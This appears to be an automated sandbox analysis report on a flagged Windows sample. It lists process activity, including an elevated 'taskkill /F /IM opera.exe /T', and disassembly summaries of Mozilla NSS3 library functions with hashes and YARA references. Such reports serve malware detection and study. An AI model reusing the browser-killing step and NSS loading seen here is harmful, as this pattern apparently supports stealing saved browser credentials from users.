Imagebase:	0xeb0000
File size:	2'764'288 bytes
MD5 hash:	2FFEAE42AA3821BE91B12932C1F311B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 37%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	17:38:09
Start date:	17/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x710000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	17:38:09
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 6CFD6E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6D122120,6CFD7E60), ref: 6CFD6EBC
TlsGetValue.KERNEL32 ref: 6CFD6EDF
EnterCriticalSection.KERNEL32(?), ref: 6CFD6EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CFD6F25

Part of subcall function 6CFAA900: TlsGetValue.KERNEL32(00000000,?,6D1214E4,?,6CF44DD9), ref: 6CFAA90F
Part of subcall function 6CFAA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CFAA94F

PR_Unlock.NSS3 ref: 6CFD6F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CFD6FA9
TlsGetValue.KERNEL32 ref: 6CFD70B4
EnterCriticalSection.KERNEL32(?), ref: 6CFD70C8
PR_CallOnce.NSS3(6D1224C0,6D017590), ref: 6CFD7104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFD7117
SECOID_Init.NSS3 ref: 6CFD7128
PORT_Alloc_Util.NSS3(00000057), ref: 6CFD714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFD717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFD71A9
PR_NotifyAllCondVar.NSS3 ref: 6CFD71CF
PR_Unlock.NSS3 ref: 6CFD71DD
free.MOZGLUE(?), ref: 6CFD71EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFD7208
free.MOZGLUE(00000000), ref: 6CFD7221
free.MOZGLUE(00000001), ref: 6CFD7235
TlsGetValue.KERNEL32 ref: 6CFD724A
EnterCriticalSection.KERNEL32(?), ref: 6CFD725E
PR_NotifyCondVar.NSS3 ref: 6CFD7273
PR_Unlock.NSS3 ref: 6CFD7281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CFD7291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFD72B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFD72D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFD72E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFD7301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFD7310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFD7335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFD7344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFD7363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFD7372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6D110148,,defaultModDB,internalKeySlot), ref: 6CFD74CC
free.MOZGLUE(00000000), ref: 6CFD7513
free.MOZGLUE(00000000), ref: 6CFD751B
free.MOZGLUE(00000000), ref: 6CFD7528
free.MOZGLUE(00000000), ref: 6CFD753C
free.MOZGLUE(00000000), ref: 6CFD7550
free.MOZGLUE(00000000), ref: 6CFD7561
free.MOZGLUE(00000000), ref: 6CFD7572
free.MOZGLUE(00000000), ref: 6CFD7583
free.MOZGLUE(00000000), ref: 6CFD7594
free.MOZGLUE(00000000), ref: 6CFD75A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CFD75BD
free.MOZGLUE(00000000), ref: 6CFD75C8
free.MOZGLUE(00000000), ref: 6CFD75F1
PR_NewLock.NSS3 ref: 6CFD7636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CFD7686
PR_NewLock.NSS3 ref: 6CFD76A2

Part of subcall function 6D0898D0: calloc.MOZGLUE(00000001,00000084,6CFB0936,00000001,?,6CFB102C), ref: 6D0898E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CFD76B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CFD7707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CFD771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CFD7731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CFD774A
DeleteCriticalSection.KERNEL32(?), ref: 6CFD7770
free.MOZGLUE(?), ref: 6CFD7779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFD779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFD77AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CFD77C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CFD77DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CFD7821
PORT_Alloc_Util.NSS3(?), ref: 6CFD7837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CFD785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CFD786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CFD78AC
free.MOZGLUE(00000000), ref: 6CFD78BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CFD78F3
free.MOZGLUE(00000000), ref: 6CFD78FC
free.MOZGLUE(00000000), ref: 6CFD791C

Part of subcall function 6CFB07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CF4204A), ref: 6CFB07AD
Part of subcall function 6CFB07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF4204A), ref: 6CFB07CD
Part of subcall function 6CFB07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF4204A), ref: 6CFB07D6
Part of subcall function 6CFB07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CF4204A), ref: 6CFB07E4
Part of subcall function 6CFB07A0: TlsSetValue.KERNEL32(00000000,?,6CF4204A), ref: 6CFB0864
Part of subcall function 6CFB07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CFB0880
Part of subcall function 6CFB07A0: TlsSetValue.KERNEL32(00000000,?,?,6CF4204A), ref: 6CFB08CB
Part of subcall function 6CFB07A0: TlsGetValue.KERNEL32(?,?,6CF4204A), ref: 6CFB08D7
Part of subcall function 6CFB07A0: TlsGetValue.KERNEL32(?,?,6CF4204A), ref: 6CFB08FB

Strings

rdb:, xrefs: 6CFD7744
kbi., xrefs: 6CFD7886
sql:, xrefs: 6CFD76FE
NSS Internal Module, xrefs: 6CFD74A2, 6CFD74C6
extern:, xrefs: 6CFD772B
dll, xrefs: 6CFD788E
Spac, xrefs: 6CFD7389
dbm:, xrefs: 6CFD7716
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CFD74C7
,defaultModDB,internalKeySlot, xrefs: 6CFD748D, 6CFD74AA

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: bda2f389fcdec7d72103383433ec9e486b848bac74f44cddba39fed12b6ca740
Instruction ID: 8f410a6a1e8c31bd177112d1080e757496f0e53de01ddd7783bed1366f554e14
Opcode Fuzzy Hash: bda2f389fcdec7d72103383433ec9e486b848bac74f44cddba39fed12b6ca740
Instruction Fuzzy Hash: 3D5236B1D05301ABEF118F64DC05BAEBBB4BF05308F1A412AED09AB645F771E954CB92

Function 6CFFBFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6CFFC0C8

Part of subcall function 6D089440: LeaveCriticalSection.KERNEL32 ref: 6D0895CD
Part of subcall function 6D089440: TlsGetValue.KERNEL32 ref: 6D089622
Part of subcall function 6D089440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6D08964E

PR_EnterMonitor.NSS3 ref: 6CFFC0AE

Part of subcall function 6D089090: LeaveCriticalSection.KERNEL32 ref: 6D0891AA
Part of subcall function 6D089090: TlsGetValue.KERNEL32 ref: 6D089212
Part of subcall function 6D089090: _PR_MD_WAIT_CV.NSS3 ref: 6D08926B

Part of subcall function 6CFB0600: GetLastError.KERNEL32(?,?,?,?,?,6CFB05E2), ref: 6CFB0642
Part of subcall function 6CFB0600: TlsGetValue.KERNEL32(?,?,?,?,?,6CFB05E2), ref: 6CFB065D
Part of subcall function 6CFB0600: GetLastError.KERNEL32 ref: 6CFB0678
Part of subcall function 6CFB0600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6CFB068A
Part of subcall function 6CFB0600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFB0693
Part of subcall function 6CFB0600: PR_SetErrorText.NSS3(00000000,?), ref: 6CFB069D
Part of subcall function 6CFB0600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,28678A59,?,?,?,?,?,6CFB05E2), ref: 6CFB06CA
Part of subcall function 6CFB0600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6CFB05E2), ref: 6CFB06E6

PR_EnterMonitor.NSS3 ref: 6CFFC0F2
PR_ExitMonitor.NSS3 ref: 6CFFC10E
PR_ExitMonitor.NSS3 ref: 6CFFC081

Part of subcall function 6D089440: TlsGetValue.KERNEL32 ref: 6D08945B
Part of subcall function 6D089440: TlsGetValue.KERNEL32 ref: 6D089479
Part of subcall function 6D089440: EnterCriticalSection.KERNEL32 ref: 6D089495
Part of subcall function 6D089440: TlsGetValue.KERNEL32 ref: 6D0894E4
Part of subcall function 6D089440: TlsGetValue.KERNEL32 ref: 6D089532
Part of subcall function 6D089440: LeaveCriticalSection.KERNEL32 ref: 6D08955D

PR_EnterMonitor.NSS3 ref: 6CFFC068

Part of subcall function 6D089090: TlsGetValue.KERNEL32 ref: 6D0890AB
Part of subcall function 6D089090: TlsGetValue.KERNEL32 ref: 6D0890C9
Part of subcall function 6D089090: EnterCriticalSection.KERNEL32 ref: 6D0890E5
Part of subcall function 6D089090: TlsGetValue.KERNEL32 ref: 6D089116
Part of subcall function 6D089090: LeaveCriticalSection.KERNEL32 ref: 6D08913F

Part of subcall function 6CFB0600: GetProcAddress.KERNEL32(?,?), ref: 6CFB0623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6CFFC14F
PR_LoadLibraryWithFlags.NSS3 ref: 6CFFC183
free.MOZGLUE(00000000), ref: 6CFFC18E
PR_LoadLibrary.NSS3(?), ref: 6CFFC1A3
PR_EnterMonitor.NSS3 ref: 6CFFC1D4
PR_ExitMonitor.NSS3 ref: 6CFFC1F3
PR_CallOnce.NSS3(6D122318,6CFFCA70), ref: 6CFFC210
PR_EnterMonitor.NSS3 ref: 6CFFC22B
PR_ExitMonitor.NSS3 ref: 6CFFC247
PR_EnterMonitor.NSS3 ref: 6CFFC26A
PR_ExitMonitor.NSS3 ref: 6CFFC287
PR_UnloadLibrary.NSS3(?), ref: 6CFFC2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6CFFC392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CFFC3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6CFFC3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6CFFC782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6CFFC7B5
PR_UnloadLibrary.NSS3(?), ref: 6CFFC7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6CFFC82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CFFC8BF
PORT_Alloc_Util.NSS3(?), ref: 6CFFC8D5
free.MOZGLUE(00000000), ref: 6CFFC900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CFFC9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CFFC9E5
free.MOZGLUE(00000000), ref: 6CFFCA5A

Strings

FC_GetInterface, xrefs: 6CFFC054
PKCS 11, xrefs: 6CFFC2F9, 6CFFC314
NSS_FORCE_TOKEN_LOCK, xrefs: 6CFFC77D
NSC_GetInterface, xrefs: 6CFFC04F
NSS_DEBUG_PKCS11_MODULE, xrefs: 6CFFC38D
nss_mod_log, xrefs: 6CFFC3CC
NSC_GetFunctionList, xrefs: 6CFFC093
NSS_DISABLE_UNLOAD, xrefs: 6CFFC7B0
Vendor NSS FIPS Interface, xrefs: 6CFFC34A
NSS_ReturnModuleSpecData, xrefs: 6CFFC275
NSC_ModuleDBFunc, xrefs: 6CFFC0FC
FC_GetFunctionList, xrefs: 6CFFC098

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 14364aa13be0b3d063aa321a6d17c3ce57577c97603527601a5fe8941356a5a4
Instruction ID: 071d3a2c6a17188fff2c063162d4bc355e4467564bc1ba02dae3790b96abf4fa
Opcode Fuzzy Hash: 14364aa13be0b3d063aa321a6d17c3ce57577c97603527601a5fe8941356a5a4
Instruction Fuzzy Hash: A3429BB2914204AFEF20DF55E882B5E3BB1FB46308F550028D9259BB31E7B3D596CB91

Function 6D0D3FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6D0D3FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6D0D3FFE
malloc.MOZGLUE(-00000003), ref: 6D0D4016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6D10FC62), ref: 6D0D404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6D0D407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6D0D40A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6D0D40D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6D0D4112
malloc.MOZGLUE(00000000), ref: 6D0D411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6D0D414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6D0D4160
free.MOZGLUE(?), ref: 6D0D416C
malloc.MOZGLUE(?), ref: 6D0D41AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6D0D41EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6D0D4520), ref: 6D0D4244
GetEnvironmentStrings.KERNEL32 ref: 6D0D424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6D0D4263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6D0D4283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D0D42B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6D0D42E4
malloc.MOZGLUE(00000002), ref: 6D0D42FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6D0D4342
GetStdHandle.KERNEL32(000000F6), ref: 6D0D43AB
GetStdHandle.KERNEL32(000000F5), ref: 6D0D43B2
GetStdHandle.KERNEL32(000000F4), ref: 6D0D43B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6D0D4403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6D0D4410

Part of subcall function 6D06C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D06C2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6D0D445E
CloseHandle.KERNEL32(?), ref: 6D0D446B
free.MOZGLUE(?), ref: 6D0D4482
free.MOZGLUE(00000000), ref: 6D0D4492
free.MOZGLUE(00000000), ref: 6D0D44A4
GetLastError.KERNEL32 ref: 6D0D44B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6D0D44BE
free.MOZGLUE(?), ref: 6D0D44C7
free.MOZGLUE(00000000), ref: 6D0D44D5
free.MOZGLUE(00000000), ref: 6D0D44EA

Strings

NSPR_INHERIT_FDS=, xrefs: 6D0D41E9
D, xrefs: 6D0D4396
=, xrefs: 6D0D44F8

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: c821e18456c23d56b59d8e7568d5ea12a28806c4b156cc65de8784a6923008b1
Instruction ID: e0fa617da10e3c9aea11e3ef2a3faae3169971a16cb36206ae5278f113320ef4
Opcode Fuzzy Hash: c821e18456c23d56b59d8e7568d5ea12a28806c4b156cc65de8784a6923008b1
Instruction Fuzzy Hash: EC02F474D04356ABFB51CFA8D8857AEBBF4AF0A304F15412AEC69A7341E770E844CB91

Function 6CFE6D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6D0EA8EC,0000006C), ref: 6CFE6DC6
memcpy.VCRUNTIME140(?,6D0EA958,0000006C), ref: 6CFE6DDB
memcpy.VCRUNTIME140(?,6D0EA9C4,00000078), ref: 6CFE6DF1
memcpy.VCRUNTIME140(?,6D0EAA3C,0000006C), ref: 6CFE6E06
memcpy.VCRUNTIME140(?,6D0EAAA8,00000060), ref: 6CFE6E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFE6E38

Part of subcall function 6D06C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D06C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CFE6E76
TlsGetValue.KERNEL32 ref: 6CFE726F
EnterCriticalSection.KERNEL32(?), ref: 6CFE7283

Strings

!, xrefs: 6CFE7123

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 0bf9be154847d5442bfae2854dab0fbfe9928d7cc66a72a59235cdfa2e900948
Instruction ID: 4796acbe6bb0c4c937ee006b16d796636ed851f33928f9d5f2f6b4e12fce1d36
Opcode Fuzzy Hash: 0bf9be154847d5442bfae2854dab0fbfe9928d7cc66a72a59235cdfa2e900948
Instruction Fuzzy Hash: 6372A075D05219AFDF60CF28DC8879ABBB5EF49304F1441AAE90CA7341E7719A84CF91

Function 6CF53C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF53C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6CF53D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF53EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF53ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF53F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF54052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF5406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CF5410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF5449C

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF54452, 6CF54486, 6CF544EA, 6CF54571, 6CF54580, 6CF5458F, 6CF5475A, 6CF547FA
%s at line %d of [%.10s], xrefs: 6CF54495, 6CF544F9, 6CF5459E, 6CF54769, 6CF54809
database corruption, xrefs: 6CF54490, 6CF544F4, 6CF54599, 6CF54764, 6CF54804

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 2c45b3b5e83371e15a543d4a2b768a0e71a2dc034889c890604b747e0c7cb427
Instruction ID: 29996a906963dcac7202aa198814ee2808e47e1a06ebc6658e0bc56111413381
Opcode Fuzzy Hash: 2c45b3b5e83371e15a543d4a2b768a0e71a2dc034889c890604b747e0c7cb427
Instruction Fuzzy Hash: 1282BF71A04205DFDB04CF68C480B9EBBF2BF59318F658199DA05ABB52D731EC62CB91

Function 6D02AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6D02ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6D02ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6D02ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6D02AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6D02ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6D02ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6D02ADF0

Part of subcall function 6D06C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D06C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6D02B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6D02B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6D02B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6D02B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6D02B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6D02B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6D02B40C

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 951431e55c8273775fb87e4435106e14cb8d4b88530c849fdbc08890b6995f4c
